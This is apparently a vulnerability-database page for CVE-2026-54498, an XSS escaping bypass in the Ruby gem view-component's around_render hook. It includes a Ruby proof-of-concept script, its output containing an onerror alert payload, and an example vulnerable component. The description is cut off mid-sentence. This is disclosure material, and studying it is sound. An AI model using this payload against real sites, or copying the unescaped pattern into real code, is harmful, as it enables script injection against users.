🛡️ CVE-2026-54498 — view-component

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-79 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

ViewComponent: around_render HTML-Safety Bypass ## Summary `ViewComponent::Base#around_render` can return HTML-unsafe strings that bypass the escaping behavior applied to normal `#call` return values. This creates an XSS risk when downstream applications use `around_render` to wrap, replace, instrument, or conditionally return content that includes user-controlled data. The issue is especially dangerous in collection rendering because `ViewComponent::Collection#render_in` joins the per-item results and marks the entire output as `html_safe`, converting raw unsafe output into a trusted `ActiveSupport::SafeBuffer`. ## Affected Code Validated against: - Repository commit: `eea79445` - Ruby: `3.4.9` Relevant locations: - `lib/view_component/base.rb` - `render_in` - `around_render` - `__vc_maybe_escape_html` - `lib/view_component/template.rb` - `InlineCall#safe_method_name_call` - `lib/view_component/collection.rb` - `Collection#render_in` Key code paths: ```ruby # lib/view_component/base.rb around_render do render_template_for(@__vc_requested_details).to_s end ``` ```ruby # lib/view_component/template.rb proc do __vc_maybe_escape_html(send(m)) do Kernel.warn(...) end end ``` ```ruby # lib/view_component/collection.rb components.map do |component| component.render_in(view_context, &block) end.join(rendered_spacer(view_context)).html_safe ``` ## Root Cause Normal inline `#call` output is passed through `__vc_maybe_escape_html`, which escapes HTML-unsafe strings. However, when `around_render` itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary. This creates two different output-safety behaviors: - `#call` returning unsafe string: escaped - `#around_render` returning unsafe string: raw Collection rendering then amplifies the issue by calling `.html_safe` on the joined result. ## Proof of Concept Run from the repository root: ```ruby $LOAD_PATH.unshift File.expand_path("lib", Dir.pwd) require "action_controller/railtie" require "rack/mock" require "view_component/base" class PocController < ActionController::Base; end def vc c = PocController.new c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc"))) c.set_response!(ActionDispatch::Response.new) c.view_context end PAYLOAD = "" class UnsafeCallComponent < ViewComponent::Base def initialize(payload:) = @payload = payload def call = @payload end class UnsafeAroundComponent < ViewComponent::Base def initialize(payload:) = @payload = payload def call = "SAFE" def around_render = @payload end class UnsafeAroundCollectionComponent < ViewComponent::Base with_collection_parameter :payload def initialize(payload:) = @payload = payload def call = "SAFE" def around_render = @payload end view_context = vc normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context) around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context) collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context) puts "normal_call=#{normal}" puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}" puts "around_render=#{around}" puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}" puts "collection=#{collection}" puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}" c = PocController.new c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc"))) c.set_response!(ActionDispatch::Response.new) out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD)) puts "controller_render_to_string=#{out}" puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}" ``` Observed output: ```text normal_call=<img src=x onerror=alert(1)> normal_call_raw=false html_safe=true around_render= around_render_raw=true html_safe=false collection= collection_raw=true html_safe=true controller_render_to_string= controller_raw=true html_safe=false ``` The control case confirms that normal `#call` output is escaped. The `around_render` cases confirm that the same payload is emitted raw. ## Exploit Scenario A downstream application defines a component that uses `around_render` for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML. Example vulnerable pattern: ```ruby class BannerComponent < ViewComponent::Base def initialize(message:) @message = message end def call "fallback" end def around_render "" end end ``` If `message` is user-controlled, scriptable HTML rea

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability none.

Weakness class

CVE-2026-54498 is classified as CWE-79: Cross-site Scripting (XSS). User-supplied data is written into a page without escaping, so attacker script runs in the browser of anyone who views it.

Affected software

CVE-2026-54498 is recorded against 1 package.

  • view-component (from 4.0.0 up to 4.12.0)

Timeline and source

Published on 15 July 2026 and last revised on 29 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
github.com (Web)
www.cve.org (Web)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
CWE CWE-79
Public Exploit ⚠️ Yes
Source OSV
Published 2026-07-15
Updated 2026-08-12
Modified 2026-07-29

Affected Packages

Software From version Fixed in
view-component 4.0.0 4.12.0

Similar Threats

Exploit Protection

Are you running view-component?

CVE-2026-54498 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-54498 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.